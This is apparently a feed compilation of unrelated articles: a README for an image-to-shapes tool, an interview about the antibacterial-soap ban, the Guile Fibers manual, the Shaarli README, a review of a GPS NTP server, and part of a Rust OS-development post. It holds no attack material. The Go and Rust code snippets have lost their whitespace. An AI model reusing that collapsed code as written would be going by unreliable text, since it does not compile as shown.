The Twitter bot looks for interesting photos using the Flickr API, runs the algorithm using randomized parameters, and posts the picture using the Twitter API.

Command-line Usage

Run it on your own images! First, install Go.

go get -u github.com/fogleman/primitive
primitive -i input.png -o output.png -n 100

Small input images should be used (like 256x256px). You don't need the detail anyway and the code will run faster.

FlagDefaultDescription
-in/ainput file
-on/aoutput file
-nn/anumber of shapes
-m1mode: 0=combo, 1=triangle, 2=rect, 3=ellipse, 4=circle, 5=rotatedrect
-r256resize large input images to this size before processing
-s1024output image size
-a128color alpha
-voffverbose output

Output Formats

Depending on the output filename extension provided, you can produce different types of output.

  • PNG: raster output
  • SVG: vector output
  • GIF: animated output showing shapes being added - requires ImageMagick (specifically the convert command)

For PNG and SVG outputs, you can also include %d, %03d, etc. in the filename. In this case, each frame will be saved separately.

Primitives

The following primitives are supported:

  • Triangle
  • Rectangle (axis-aligned)
  • Ellipse (axis-aligned)
  • Circle
  • Rotated Rectangle
  • Combo (a mix of the above in a single image)

More shapes can be added by implementing the following interface:

typeShapeinterface {Rasterize() []ScanlineCopy() ShapeMutate()Draw(dc *gg.Context)
}

Features

  • Hill Climbing or Simulated Annealing for optimization (hill climbing multiple random shapes is nearly as good as annealing and faster)
  • Scanline rasterization of shapes in pure Go (preferable for implementing the features below)
  • Optimal color computation based on affected pixels for each shape (color is directly computed, not optimized for)
  • Partial image difference for faster scoring (only pixels that change need be considered)
  • Anti-aliased output rendering

Inspiration

This project was originally inspired by the popular and excellent work of Roger Johansson - Genetic Programming: Evolution of Mona Lisa. Since seeing that article when it was quite new, I've tinkered with this problem here and there over the years. But only now am I satisfied with my results.

Progression

This GIF demonstrates the iterative nature of the algorithm, attempting to minimize the mean squared error by adding one shape at a time. (Use a ".gif" output file to generate one yourself!)

Mona Lisa

Static Animation

Since the algorithm has a random component to it, you can run it against the same input image multiple times to bring life to a static image.

Pencils

Creative Constraints

If you're willing to dabble in the code, you can enforce constraints on the shapes to produce even more interesting results. Here, the rectangles are constrained to point toward the sun in this picture of a pyramid sunset.

Pyramids

Shape and Iteration Comparison Matrix

The matrix below shows triangles, ellipses and rectangles at 50, 100 and 200 iterations each.

Matrix

Examples

Here are more examples from interesting photos found on Flickr.

ExampleExampleExampleExampleExampleExampleExampleExampleExampleExampleExampleExampleExampleExampleExampleExampleExampleExampleExampleExample

Stanford Expert Explains Antibacterial Soap Ban

$
0
0

Last week, the U.S. Food and Drug Administration (FDA) effectively banned a personal hygiene product used by millions of Americans. Because manufacturers failed to demonstrate that 19 chemicals used in antibacterial soaps are safe and more effective than regular soap in preventing illness and the spread of infections, companies will have a year to remove the ingredients from their products.

Of those chemicals, the most commonly found in liquid antibacterial soap is triclosan, and the most common in bar soap is triclocarban. These compounds have been found to disrupt development of the reproductive system and metabolism in animals, and may contribute to making bacteria resistant to antibiotics.

In bringing attention to antibacterial soap, the FDA cited a study led by Stanford epidemiologist Stephen Luby showing no significant difference in results from plain soap and antibacterial soap. To better understand the issues around antibacterial soap, we spoke with Luby, a professor with the Stanford School of Medicine and a senior fellow with the Stanford Woods Institute for the Environment and the Freeman Spogli Institute for International Studies.
 

How did your 2005 study in Pakistan shed light on the question of antibacterial soap’s efficacy? 

That study compared the health outcomes from antibacterial soap and soap that was indistinguishable from and otherwise chemically identical to the antibacterial soap, but without triclocarban. Compared with a control group who received school supplies, children living in households who received soap and handwashing promotion had 52 percent less diarrhea, 50 percent less pneumonia and 45 percent less impetigo. Impetigo, a skin infection, was a particularly important outcome, because laboratory studies had suggested that triclocarban would have antibacterial activity against the organisms that most commonly caused impetigo. There was, however, no difference in any of the health outcomes between children living in households who received the plain soap compared with children who received the antibacterial soap.

The study was influential, because its blinded design and large size provided a rigorous test of the hypothesis of the health benefit of antibacterial soap. The finding that there was a major benefit to handwashing was an important outcome and demonstrated that people were using the soap fine. Thus, the absence of any additional benefit with the antibacterial compound was a scientifically persuasive negative finding.

What’s to convince someone who argues that we don't know whether chemicals in antibacterial soap have any harmful effects on humans?

I consider animal studies to be important indicators of impact on biological organisms. We are biological organisms, so if we see adverse outcomes in animals, this is a concern.

In a 2013 interview with Popular Mechanics you said of triclocarbans, "I don't think that there is a huge negative effect associated with these compounds." Do you still feel this way?

I still agree with this notion. However, they are biologically active, and they have no proven efficacy. So, I don't see dumping tons of them into the environment each year as being a good idea. Why should we take the risk?

Generally, the burden for proving a chemical's safety has fallen on regulators in the U.S. In this case, it fell on manufacturers. Does this signal a change?

This was a very long process. The government's review of the data concluded that there was no compelling case for benefit. They argued that unless the manufacturers could present convincing evidence, that the ban would be instituted. Apparently whatever new evidence the companies may have presented, was not persuasive.

The FDA's new rule applies only to consumer hand washes and soaps. Other products, such as toothpaste, may still contain the chemicals if the manufacturer proves that the benefits outweigh the risks. What do you make of this uneven ban?

It seems that they focused a lot on evidence of benefit. Antibacterial soap has been carefully studied and not found to benefit health. Thus, there is no benefit to weigh against potential risk to health and the broader environment. I am not familiar with the toothpaste data, but, in general, I salute the FDA's use of good science on human health outcomes to inform their policy decisions.

What's your take on the potential harm from active ingredients under scrutiny in hand sanitizers and wipes (alcohol - ethanol or ethyl alcohol - isopropyl alcohol and benzalkonium chloride)?

I'd be surprised if there were big harms identified with these compounds, but it is prudent to assess them.

What should people do with the antibacterial soap sitting around their house?

I think it would be fine for people to use the rest of the antibacterial soap that is sitting around the house. That said, we can all be grateful that going forward neither they nor the environment needs to be exposed to these antibacterial compounds.

Fibers in Guile Scheme

$
0
0

This manual is for Fibers (version 0.2.0, updated 11 September 2016)

Copyright 2016 Andy Wingo

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.


1 Introduction

Fibers is a facility for lightweight concurrency in Guile.

Context:  How do other systems handle concurrency?
Design:  Fibers’ point in the design space.

1.1 A brief history of language facilities for concurrency

Modern machines have the raw capability to serve hundreds of thousands of simultaneous long-lived connections, but it’s often hard to manage this at the software level. Fibers tries to solve this problem in a nice way. Before discussing the approach taken in Fibers, it’s worth spending some time on history to see how we got here.

One of the most dominant patterns for concurrency these days is “callbacks”, notably in the Twisted library for Python and the Node.js run-time for JavaScript. The basic observation in the callback approach to concurrency is that the efficient way to handle tens of thousands of connections at once is with low-level operating system facilities like poll or epoll. You add all of the file descriptors that you are interested in to a “poll set” and then ask the operating system which ones are readable or writable, as appropriate. Once the operating system says “yes, file descriptor 7145 is readable”, you can do something with that socket; but what? With callbacks, the answer is “call a user-supplied closure”: a callback, representing the continuation of the computation on that socket.

Building a network service with a callback-oriented concurrency system means breaking the program into little chunks that can run without blocking. Whereever a program could block, instead of just continuing the program, you register a callback. Unfortunately this requirement permeates the program, from top to bottom: you always pay the mental cost of inverting your program’s control flow by turning it into callbacks, and you always incur run-time cost of closure creation, even when the particular I/O could proceed without blocking. It’s a somewhat galling requirement, given that this contortion is required of the programmer, but could be done by the compiler. We Schemers demand better abstractions than manual, obligatory continuation-passing-style conversion.

Callback-based systems also encourage unstructured concurrency, as in practice callbacks are not the only path for data and control flow in a system: usually there is mutable global state as well. Without strong patterns and conventions, callback-based systems often exhibit bugs caused by concurrent reads and writes to global state.

Some of the problems of callbacks can be mitigated by using “promises” or other library-level abstractions; if you’re a Haskell person, you can think of this as lifting all possibly-blocking operations into a monad. If you’re not a Haskeller, that’s cool, neither am I! But if your typey spidey senses are tingling, it’s for good reason: with promises, your whole program has to be transformed to return promises-for-values instead of values anywhere it would block.

An obvious solution to the control-flow problem of callbacks is to use threads. In the most generic sense, a thread is a language feature which denotes an independent computation. Threads are created by other threads, but fork off and run independently instead of returning to their caller. In a system with threads, there is implicitly a scheduler somewhere that multiplexes the threads so that when one suspends, another can run.

In practice, the concept of threads is often conflated with a particular implementation, kernel threads. Kernel threads are very low-level abstractions that are provided by the operating system. The nice thing about kernel threads is that they can use any CPU that is the kernel knows about. That’s an important factor in today’s computing landscape, where Moore’s law seems to have ended and we are getting more cores instead of more gigahertz.

However, as a building block for a highly concurrent system, kernel threads have a few important problems.

One is that kernel threads simply aren’t designed to be allocated in huge numbers, and instead are more optimized to run in a one-per-CPU-core fashion. Their memory usage is relatively high for what should be a lightweight abstraction: some 10 kilobytes at least and often some megabytes, in the form of the thread’s stack. There are ongoing efforts to reduce this for some systems but we cannot expect wide deployment in the next 5 years, if ever. Even in the best case, a hundred thousand kernel threads will take at least a gigabyte of memory, which seems a bit excessive for book-keeping overhead.

Kernel threads can be a bit irritating to schedule, too: when one thread suspends, it’s for a reason, and it can be that user-space knows a good next thread that should run. However because kernel threads are scheduled in the kernel, it’s rarely possible for the kernel to make informed decisions. There are some “user-mode scheduling” facilities that are in development for some systems, but again only for some systems.

The other significant problem is that building non-crashy systems on top of kernel threads is hard to do, not to mention “correct” systems. It’s an embarrassing situation. For one thing, the low-level synchronization primitives that are typically provided with kernel threads, mutexes and condition variables, are not composable. Also, as with callback-oriented concurrency, one thread can silently corrupt another via unstructured mutation of shared state. It’s worse with kernel threads, though: a kernel thread can be interrupted at any point, not just at I/O. And though callback-oriented systems can theoretically operate on multiple CPUs at once, in practice they don’t. This restriction is sometimes touted as a benefit by proponents of callback-oriented systems, because in such a system, the callback invocations have a single, sequential order. With multiple CPUs, this is not the case, as multiple threads can run at the same time, in parallel.

Kernel threads can work. The Java virtual machine does at least manage to prevent low-level memory corruption and to do so with high performance, but still, even Java-based systems that aim for maximum concurrency avoid using a thread per connection because threads use too much memory.

In this context it’s no wonder that there’s a third strain of concurrency: shared-nothing message-passing systems like Erlang. Erlang isolates each thread (called processes in the Erlang world), giving each it its own heap and “mailbox”. Processes can spawn other processes, and the concurrency primitive is message-passing. A process that tries receive a message from an empty mailbox will “block”, from its perspective. In the meantime the system will run other processes. Message sends never block, oddly; instead, sending to a process with many messages pending makes it more likely that Erlang will pre-empt the sending process. It’s a strange tradeoff, but it makes sense when you realize that Erlang was designed for network transparency: the same message send/receive interface can be used to send messages to processes on remote machines as well.

No network is truly transparent, however. At the most basic level, the performance of network sends should be much slower than local sends. Whereas a message sent to a remote process has to be written out byte-by-byte over the network, there is no need to copy immutable data within the same address space. The complexity of a remote message send is O(n) in the size of the message, whereas a local immutable send is O(1). This suggests that hiding the different complexities behind one operator is the wrong thing to do. And indeed, given byte read and write operators over sockets, it’s possible to implement remote message send and receive as a process that serializes and parses messages between a channel and a byte sink or source. In this way we get cheap local channels, and network shims are under the programmer’s control. This is the approach that the Go language takes, and is the one we use in Guile.

Channels and message send/receive is a great start, but it’s not sufficient for all purposes. At the minimum, a program should be able to wait for a message send or receive over multiple channels at once. Go supports receive over multiple channels via its select primitive, but there is a more general solution invented by Concurrent ML, which is an abstraction over messages. In Concurrent ML, you can get an event directly from a channel; actually synchronizing on the reception of the event is a separate operation. Together with a primitive to synchronize on one of a number of events, Concurrent ML allows programs to build select in user-space. It looks like the right direction for Guile to go too.


1.2 Fibers design

In Fibers, the unit of computation is the fiber, a lightweight thread managed by Guile. A fiber communicates with the world via normal Guile ports: get-bytevector, put-string, and all that. Between themselves, fibers send and receive Scheme values overchannels, lightweight queues.

Whenever a fiber tries to read but no data is available, or tries to write but no data can be written, Guile will suspend the fiber and arrange for it to be resumed when the port or channel operation can proceed. In the meantime, Guile will run other fibers. When no fiber is runnable, Guile will use efficient system facilities to sleep until input or output can proceed.

When a fiber would block, it suspends to the scheduler from the current thread. The scheduler will arrange to re-start the fiber when the port or channel becomes readable or writable, as appropriate. For ports, the scheduler adds the file descriptor associated with the port to an epoll set. In either case, the scheduler remembers which fibers are waiting and for what, so that the user can inspect the state of their system.

If no scheduler has been installed in the current thread, the fiber will... well, we don’t know yet! Either it blocks its thread, or it aborts. We don’t know.

On the Scheme level, a fiber is a delimited continuation. When a scheduler runs a fiber, it does so within a prompt; when the fiber suspends, it suspends to the prompt. The scheduler saves the resulting continuation as part of the fiber’s state. In this way the per-fiber computational state overhead is just the size of the pending stack frames of the fiber, which can be just a handful of words.

Currently fibers are pinned to the kernel thread in which they are created. We should probably implement some kind of work-stealing behavior so that if you choose to devote multiple CPU cores to servicing fibers, that they can share the workload.

Ports are how fibers communicate with the world; channels are how fibers communicate with each other. When a channel is created, it is created with a maximum number of enqueued messages (by default one). Sending to a channel with space in the queue will not suspend the calling thread. A fiber that tries to write to a full queue or read from a channel with an empty queue will add itself to a list of “waiters” for the channel and suspend itself to the scheduler. A read from a full queue or a write to an empty queue will unblock waiters on a channel.

Unlike Erlang channels, channels in Fiber are purely local and do not attempt to provide the illusion of network transparency. This does have the positive advantage that we are able to provide better backpressure support than Erlang, blocking when a channels’s queue is full instead of letting the sender keep sending many messages.

On the other hand, currently fibers are not preemptively scheduled. A fiber will only suspend when it would block on channel receive or send, or on read or write on a port. This would be an OK point in the design space if only one kernel thread could be running fibers at once, as in Node.js. However given that this is not the case, Fibers does not have many of the concurrency invariants that such systems enjoy, so perhaps we should support preemption in the future.

To avoid starvation, a fiber can only run once within a “turn”. Each turn starts with a poll on file descriptors of interest and marks the associated fibers as runnable. If no fiber is runnable at the start of the poll, the poll call will ask the kernel to wait for a runnable descriptor. Otherwise the poll call will ask the kernel to return immediately. There is an additional FD added to the poll set that is used to interrupt a blocking poll, for example if a fiber becomes runnable due to I/O on a channel from a separate kernel thread while the first scheduler was still polling.

To enable expressive cross-kernel-thread communications, channel sends and receives are atomic and thread-safe.

To start scheduling fibers, user code will typically create a scheduler, instate it on the thread, add some fibers, then run the scheduler. That call to run the scheduler will only return when there there are no more fibers waiting to be scheduled.


2 API reference

Fibers is a library built on Guile, consisting of a public interface, a channels library, and an internals interface.

Using Fibers:  User-facing interface to fibers
Channels:  Share memory by communicating.
Internals:  Scheduler and fiber objects and operations.

2.1 Using Fibers

The public interface of fibers right now is quite minimal. To use it, import the (fibers) module:

To create a new fibers scheduler and run it in the current Guile thread, use run-fibers.

Function: run-fibers[init-thunk=#f] [#:install-suspendable-ports?=#t] [#:scheduler=(make-scheduler)] [#:keep-scheduler?]

Run init-thunk within a fiber in a fresh scheduler, blocking until the scheduler has no more runnable fibers. Return the value(s) returned by the call to init-thunk.

For example:

(run-fibers (lambda () 1)) ⇒ 1
(run-fibers
 (lambda ()
   (spawn-fiber (lambda () (display "hey!\n")))))
  -| hey!
  ⇒ #<<fiber> ...>

Calling run-fibers will ensure that Guile’s port implementation allows fibers to suspend if a read or a write on a port would block. See Non-Blocking I/O in Guile Reference Manual, for more details on suspendable ports. If for some reason you want port reads or writes to prevent other fibers from running, pass #f as the#:install-suspendable-ports? keyword argument.

By default, run-fibers will create a fresh scheduler. If you happen to have a pre-existing scheduler (because you are used the internals interface to create one), you can pass it torun-fibers using the #:scheduler keyword argument.

The scheduler will be destroyed when run-fibers finishes, unless the scheduler was already “current” (see Internals). If you need to keep the scheduler, either make sure it is current or explicitly pass #t as the #:keep-scheduler? keyword argument.

Function: spawn-fiberthunk [#:scheduler=(require-current-scheduler)]

Spawn a new fiber that will run thunk. Return the new fiber. The new fiber will run concurrently with other fibers.

The fiber will be added to the current scheduler, which is usually what you want. It’s also possible to spawn the fiber on a specific scheduler, which is useful to ensure that the fiber runs on a different kernel thread. In that case, pass the #:scheduler keyword argument.

Currently, fibers will only ever be run within the scheduler to which they are first added, which effectively pins them to a single kernel thread. This limitation may be relaxed in the future.

Function: current-fiber

Return the current fiber, or #f if not called within the dynamic extent of a thunk passed to spawn-fiber.

Function: sleepseconds

Wake up the current fiber after seconds of wall-clock time have elapsed. This definition will replace the binding for sleep in the importing module, effectively overriding Guile’s “core” definition.


2.2 Channels

Channels are the way to communicate between fibers. To use them, load the channels module:

(use-modules (fibers channels))
Function: make-channel[#:queue-size=1]

Create and return a fresh channel. By default the channel will have space for one buffered message; pass a larger value as#:queue-size to increase the buffer size.

Function: channel?obj

Return #t if obj is a channel, and #f otherwise.

Function: put-messagechannel message

Send message on channel, and return zero values. Ifchannel is full (i.e., it already queue-size messages queued), block until some other fiber calls get-message on the channel.

Function: get-messagechannel

Receive a message from channel, and return zero values. Ifchannel is empty (i.e., there are no messages in its queue), block until some other fiber calls put-message on the channel.

Channels are thread-safe; you can use them to send and receive values between fibers on different kernel threads.


2.3 Internals

These internal interfaces are a bit dangerous, in the sense that if they are used wrongly, they can corrupt the state of your program. For example, the scheduler has some specific mechanisms to ensure thread-safety, and not all of the procedures in this module can be invoked on a scheduler from any thread. We will document them at some point, but for now this section is a stub.

(use-modules (fibers internal))
Function: make-scheduler
Variable: current-scheduler
Function: run-schedulersched [#:join-fiber]
Function: destroy-schedulersched
Function: add-fd-events!sched fd events fiber
Function: add-sleeper!sched fiber seconds
Function: create-fibersched thunk
Variable: current-fiber
Function: kill-fiberfiber
Special Form: fiber-scheduler
Special Form: fiber-state
Function: suspend-current-fiber[after-suspend]
Function: resume-fiberfiber thunk

3 Pitfalls

Running Guile code within a fiber mostly “just works”. There are a couple of pitfalls to be aware of though.

Blocking:  Avoid calling blocking operations.
Mutation:  Avoid unstructured mutation of shared data.

3.1 Blocking

When you run a program under fibers, the fibers library arranges to make it so that port operations can suspend the fiber instead of block. This generally works, with some caveats.

  1. The port type has to either never block, or support non-blocking I/O. Currently the only kind of port in Guile are file ports (including sockets), and for them this condition is fulfilled. However notably non-blocking I/O is not supported for custom binary I/O ports, not yet anyway. If you need this, get it fixed in Guile :)
  2. You have to make sure that any file port you operate on is opened in nonblocking mode. See Non-Blocking I/O in Guile Reference Manual, for the obscure fcntl incantation to use on your ports.
  3. You have to avoid any operation on ports that is not supported yet in Guile for non-blocking I/O. Since non-blocking I/O is new in Guile, only some I/O operations are expressed in terms of the primitive operations. Notably, Scheme read, display, andwrite are still implemented in C, which prevents any fiber that uses them from suspending and resuming correctly. What will happen instead is that the call blocks instead of suspending. If you find a situation like this, talk to Guile developers to get it fixed :)
  4. You can enable non-blocking I/O for local files, but Linux at least will always say that the local file is ready for I/O even if it has to page in data from a spinning-metal device. This is a well-known limitation for which the solution is apparently to do local I/O via a thread pool. We could implement this in Fibers, or in Guile... not sure what the right thing is!

You also have to avoid any other library or system calls that would block. One common source of blocking is getaddrinfo and related network address resolution library calls. Again, apparently the solution is thread pools? Probably in Fibers we should implement a thread-pooled address resolver.

The (fibers) module exports a sleep replacement. Code that sleeps should import the (fibers) module to be sure that they aren’t using Guile’s sleep function.

Finally, a fiber itself has to avoid blocking other fibers; it must reach a “yield point” some time. A yield point includes a read or write on a port or a channel that would block, or a sleep. Other than that, nothing will pre-empt a fiber, at least not currently. If you need to yield to the scheduler, then at least do a(sleep 0) or something.


3.2 Mutation

Although code run within fibers looks like normal straight-up Scheme, it runs concurrently with other fibers. This means that if you mutate shared state and other fibers mutate the same shared state using normal Scheme procedures like set!, vector-set!, or the like, then probably you’re going to have a bad time. Although currently fibers aren’t scheduled pre-emptively, multi-step transactions may be suspended if your code reaches a yield point in the middle of performing the transaction.

Likewise if you have multiple kernel threads running fiber schedulers, then it could indeed be that you have multiple fibers running in parallel.

The best way around this problem is to avoid unstructured mutation, and to instead share data by communicating over channels. Using channels to communicate data produces much more robust, safe systems.

If you need to mutate global data, do so within a mutex.


4 Project status

It’s early days. At the time of this writing, no one uses fibers in production that we are aware of. Should you be the first? Well maybe, if you feel like you understand the implementation, are prepared to debug, and have some time on your hands. Otherwise probably it’s better to wait.

See the TODO.md file in the repository for a current list of to-do items.


Shaarli – Personal, minimalist, database-free, bookmarking service

$
0
0

README.md

Shaarli logo

The personal, minimalist, super-fast, database free, bookmarking service.

Do you want to share the links you discover?Shaarli is a minimalist delicious clone that you can install on your own server.It is designed to be personal (single-user), fast and handy.

Docker repository

Join the chat at https://gitter.im/shaarli/ShaarliBountysource

Quickstart

Demo

You can use this public demo instance of Shaarli. It runs the latest development version of Shaarli and is updated/reset daily.

Login: demo; Password: demo

Installation & upgrade

Features

Interface

  • minimalist design (simple is beautiful)
  • FAST
  • ATOM and RSS feeds
  • views:
    • paginated link list
    • tag cloud
    • picture wall: image and video thumbnails
    • daily: newspaper-like daily digest
    • daily RSS feed
  • permalinks for easy reference
  • links can be public or private
  • extensible through plugins

Tag, view and search your links!

  • add a custom title and description to archived links
  • add tags to classify and search links
    • features tag autocompletion, renaming, merging and deletion
  • full-text and tag search

Easy setup

  • dead-simple installation: drop the files, open the page
  • links are stored in a file
    • compact storage
    • no database required
    • easy backup: simply copy the datastore file
  • import and export links as Netscape bookmarks

Accessibility

  • Firefox bookmarlet to share links in one click
  • support for mobile browsers
  • works with Javascript disabled
  • easy page customization through HTML/CSS/RainTPL

Security

  • bruteforce-proof login form
  • protected against XSRF and session cookie hijacking

Goodies

  • thumbnail generation for images and video services: dailymotion, flickr, imageshack, imgur, vimeo, xkcd, youtube...
  • PubSubHubbub protocol support
  • URL cleanup: automatic removal of ?utm_source=..., fb=...
  • discreet pop-up notification when a new release is available

Other usages

Though Shaarli is primarily a bookmarking application, it can serve other purposes (see usage examples):

  • micro-blogging
  • pastebin
  • online notepad
  • snippet archive

About

Shaarli community fork

This friendly fork is maintained by the Shaarli community at https://github.com/shaarli/Shaarli

This is a community fork of the original Shaarli project by Sébastien Sauvage.

The original project is currently unmaintained, and the developer has informed us that he would have no time to work on Shaarli in the near future. The Shaarli community has carried on the work to providemany patches for bug fixes and enhancements in this repository, and will keep maintaining the project for the foreseeable future, while keeping Shaarli simple and efficient.

Contributing

If you'd like to help, please:

  • have a look at the open issues and pull requests
  • feel free to report bugs (feedback is much appreciated)
  • suggest new features and improvements to both code and documentation
  • propose solutions to existing problems
  • submit pull requests :-)

License

Shaarli is Free Software. See COPYING for a detail of the contributors and licenses for each individual component.


Laureline: discontinued open hardware/software GPS NTP server

$
0
0
I bought this little receiver with a view to comparing it with my other NTP servers. The Laureline server is a dedicated NTP server which differs from the rest in my park which are based on general purpose operating systems such as linux and FreeBSD. One of the features that attracted me was the inclusion of an keyed IDC connector, hosting the Ublox 1PPS output.

My Laureline is cased, as I paid for that option. It is a nice little silver affair with transparent end plates pierced for the interface connectors.
Unscrewing either plate allows the server PCB to slide out. The small size of the case, tailored for the micr-controller PCB means that there are cables connected to both ends. This is not ideal, and makes finding a place to put it a bit more difficult. I prefer all cable entries on one face.
There is no doc supplied, but that available on links from the tindie site is excellent.

Installation:
Nothing heart-stopping to report. I had one problem which I will mention later related to the ethernet jack but once I had mastered that everything worked fine. After testing, when I had the server USB connected to a Win7 PC, I moved the power cable a powered USB hub. No issues there, but as that is not connected to a computer I can't access the serial console. My choice.

Configuration:
The server configures itself if you have a DHCP server, such as your ISP's router, on the same net. If you don't, then you need to configure an IP address via the serial console. I have a router with DHCP server capability, but I needed to connect to the serial console to enable the 1PPS output (off by default) and to enable syslog messages, output on port 514.
There is one other thing I would mention about the use of DHCP. When I first connected it, and powered up a few times, I noticed that the assigned host name I was getting, as well as the IP addresses were changing. This is problematic for configuring the NTP configuration files. So in order to fix that I configured a static DHCP address for the server's MAC address. I could have also configured the IP address using the serial console. That address was added to the ntp.conf files and the necessary configuration changes my syslog server config and firewall, to allow the UDP packets through, and I was set.
ntp.conf
server 192.168.1.23 minpoll 4 maxpoll 4
syslog.conf
+laurelineA.stratum1.d2g.com
*.* /var/log/laurelineA.log
firewall ipfw (your wall may differ):
# Allow inbound syslog UDP from our local net only
add 503 set 5 allow log logamount 128 udp from 192.168.0.0/16 to 192.168.1.3 dst-port 514 keep-state

# ipfw show 503
00530 411840 54940405 set 0 allow log logamount 128 udp from 192.168.0.0/16 to 192.168.1.3 dst-port 514 keep-state
it generates a lot of data

Operation:
Once the NTP configuration files were set up and ntpd restarted all went well. The server is serving good time on a par with my other servers. For example ntpq -pn is showing
remote refid st when poll reach delay offset jitter
=======================================================
+192.168.1.4 .PPS1. 1 u 9 16 377 0.896 -0.005 0.013
+192.168.1.15 192.168.1.23 2 u 8 16 377 0.971 -0.003 0.029
*192.168.1.23 .GPS. 1 u 6 16 377 0.581 0.012 0.008 <===Laureline
-145.238.203.14 .TS-3. 1 u 3 16 377 3.239 -0.212 0.035
-217.147.208.1 194.242.34.149 2 u 5 16 377 23.592 0.132 0.020
-91.235.212.22 212.82.32.15 2 u 5 16 377 17.275 -0.684 0.031
$
You can see here that it is the selected server, the jitter is at the NTP floor most of the day with the offset in the low tens of microseconds. The fact that there is no OS in the server minimises the latency which keeps the jitter down, making it one of the most stable servers that i have.

If have collected and graphed the following information over a day, images attached, to give you and idea of the perf.
a) NTP peerstat data from the above client
b) Hardware 1PPS jitter data from the Ublox Neo-6M . The jitter is measured with a Agilent 53230A
c) The servers TCXO stability data from the syslog messages
d) The servers PPS offset from UTC as reported by the syslog messages.
If you can't see the image .I can't :-( here is a link.
<http://stratum1.d2g.com/images/LaurelineNTP/Laureline-GPS-NTP-Server-stats.png>

Note that for those wanting to collect the syslog messages, useful for monitoring, they are output every second and at power on, ethernet reconfig, loss of PPS etc. This amounts to a 20 plus megabyte daily transfer.

Update 08/07/2014:

For those interested in trying it, out I have put the code for a syslog message filter on my site.
It can be found in a tarball at <http://stratum1.d2g.com/public/LaurelineNTP > .
There are two README's, one for the filter and another for a test data generator I put together as waiting a number of years to test leaps and stuff seemed a bit long.
The filter reads of the syslog stream and creates loopstat data in the same format as NTP. The files are archived using that same shema as NTP as the days roll over. It's quite useful, as the statistics can be manipulated with the same tools I use to graph my other servers.
It's simple but lets me see what's going on day to day. Check out the LaurelineA link in the NTP Server statistics page.

Issues:
As indicated above, I have an issue with my ethernet jack. I cannot easily get a stable connection. I have contacted the seller/designer and he is sending me a replacement which I should receive shortly.
As mentioned above, I am collecting the syslog monitoring data. This has shown that I occasionally get loss of PPS and power-cycle/ethernet reconfig not sure which. The frequency is about once a day. The PPS loss may be due to my antenna placement which is not ideal at the moment (facing north in an urban canyon) but I have yet to see the same issue at the same time with other receivers I have. The power cycle/ethernet reconf causes the server to serve less than optimum time for a couple of minutes before the PLL locks and syncs up to UTC. This is probably related to my duff jack.

Limitations:
Or nice to have in future firmware releases ;-).
Leap second support. We will need it in '15 or '16.
Syslog configuration option to limit volume of data
A case option with all interfaces on one side.

Service:
Michael is very responsive.

Conclusion:
A very nice little box. Very stable accurate time, on a par with other OS based servers. Probably a little more expensive than rolling your own with a Raspberry PI, Beablebone Black or other full linux solution. For European clients this is an issue as we have to pay around $45 duty on the import.

Writing an OS in Rust: Returning from Exceptions

$
0
0

In this post, we learn how to return from exceptions correctly. In the course of this, we will explore the iretq instruction, the C calling convention, multimedia registers, and the red zone.

As always, the complete source code is on Github. Please file issues for any problems, questions, or improvement suggestions. There is also a gitter chat and a comment section at the end of this page.

Introduction

Most exceptions are fatal and can’t be resolved. For example, we can’t return from a divide-by-zero exception in a reasonable way. However, there are some exceptions that we can resolve:

Imagine a system that uses memory mapped files: We map a file into the virtual address space without loading it into memory. Whenever we access a part of the file for the first time, a page fault occurs. However, this page fault is not fatal. We can resolve it by loading the corresponding page from disk into memory and setting the present flag in the page table. Then we can return from the page fault handler and restart the failed instruction, which now successfully accesses the file data.

Memory mapped files are completely out of scope for us right now (we have neither a file concept nor a hard disk driver). So we need an exception that we can resolve easily so that we can return from it in a reasonable way. Fortunately, there is an exception that needs no resolution at all: the breakpoint exception.

The Breakpoint Exception

The breakpoint exception is the perfect exception to test our upcoming return-from-exception logic. Its only purpose is to temporary pause a program when the breakpoint instruction int3 is executed.

The breakpoint exception is commonly used in debuggers: When the user sets a breakpoint, the debugger overwrites the corresponding instruction with the int3 instruction so that the CPU throws the breakpoint exception when it reaches that line. When the user wants to continue the program, the debugger replaces the int3 instruction with the original instruction again and continues the program. For more details, see the How debuggers work series.

For our use case, we don’t need to overwrite any instructions (it wouldn’t even be possible since we set the page table flags to read-only). Instead, we just want to print a message when the breakpoint instruction is executed and then continue the program.

Catching Breakpoints

Let’s start by defining a handler function for the breakpoint exception:

// in src/interrupts/mod.rsextern"C"fnbreakpoint_handler(stack_frame:*constExceptionStackFrame)->!{unsafe{print_error(format_args!("EXCEPTION: BREAKPOINT at {:#x}\n{:#?}",(*stack_frame).instruction_pointer,*stack_frame));}loop{}}

We print a red error message using print_error and also output the instruction pointer and the rest of the stack frame. Note that this function does not return yet, since our handler! macro still requires a diverging function.

We need to register our new handler function in the interrupt descriptor table (IDT):

// in src/interrupts/mod.rslazy_static!{staticrefIDT:idt::Idt={letmutidt=idt::Idt::new();idt.set_handler(0,handler!(divide_by_zero_handler));idt.set_handler(3,handler!(breakpoint_handler));// newidt.set_handler(6,handler!(invalid_opcode_handler));idt.set_handler(14,handler_with_error_code!(page_fault_handler));idt};}

We set the IDT entry with number 3 since it’s the vector number of the breakpoint exception.

Testing it

In order to test it, we insert an int3 instruction in our rust_main:

// in src/lib.rs...#[macro_use]// needed for the `int!` macroexterncratex86;...#[no_mangle]pubextern"C"fnrust_main(...){...interrupts::init();// trigger a breakpoint exceptionunsafe{int!(3)};println!("It did not crash!");loop{}}

When we execute make run, we see the following:

QEMU showing `EXCEPTION: BREAKPOINT at 0x1100aa` and a dump of the exception stack frame

It works! Now we “just” need to return from the breakpoint handler somehow so that we see the It did not crash message again.

Returning from Exceptions

So how do we return from exceptions? To make it easier, we look at a normal function return first:

function stack frame

When calling a function, the call instruction pushes the return address on the stack. When the called function is finished, it can return to the parent function through the ret instruction, which pops the return address from the stack and then jumps to it.

The exception stack frame, in contrast, looks a bit different:

exception stack frame

Instead of pushing a return address, the CPU pushes the stack and instruction pointers (with their segment descriptors), the RFLAGS register, and an optional error code. It also aligns the stack pointer to a 16 byte boundary before pushing values.

So we can’t use a normal ret instruction, since it expects a different stack frame layout. Instead, there is a special instruction for returning from exceptions: iretq.

The iretq Instruction

The iretq instruction is the one and only way to return from exceptions and is specifically designed for this purpose. The AMD64 manual (PDF) even demands that iretqmust be used to terminate the exception or interrupt handler associated with the exception”.

